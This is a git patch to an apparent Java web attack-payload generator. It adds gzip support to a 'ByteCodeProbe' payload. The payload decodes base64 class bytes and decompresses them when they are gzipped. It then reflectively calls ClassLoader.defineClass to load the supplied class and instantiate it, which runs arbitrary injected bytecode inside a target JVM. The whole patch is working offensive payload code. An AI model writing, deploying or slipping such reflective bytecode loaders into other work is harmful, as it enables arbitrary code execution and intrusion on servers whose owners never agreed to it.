From a278e9bef84b5969be1cea5498f911c13ecd2862 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 6 Dec 2025 14:14:16 +0800 Subject: [PATCH] feat: bytecode probe support gzip --- .../javaweb/probe/payload/ByteCodeProbe.java | 28 ++++++++++++++++--- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java index 020041f5..cf189fea 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java @@ -3,9 +3,10 @@ package com.reajason.javaweb.probe.payload; import lombok.SneakyThrows; import net.bytebuddy.asm.Advice; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.lang.reflect.Method; -import java.net.URL; -import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -24,7 +25,8 @@ public class ByteCodeProbe { Class decoderClass; byte[] classBytes; String base64 = data; - if (!data.startsWith("yv66vgAAAD")) { + boolean gzip = data.startsWith("H4s"); + if (!gzip && !data.startsWith("yv66vgAAAD")) { base64 = "yv66vgAAAD" + data; } try { @@ -35,9 +37,27 @@ public class ByteCodeProbe { decoderClass = Class.forName("sun.misc.BASE64Decoder"); classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64); } + if (gzip) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(classBytes)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + classBytes = out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length); + Class clazz = (Class) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}, Thread.currentThread().getContextClassLoader()), classBytes, 0, classBytes.length); return ret = clazz.newInstance().toString(); }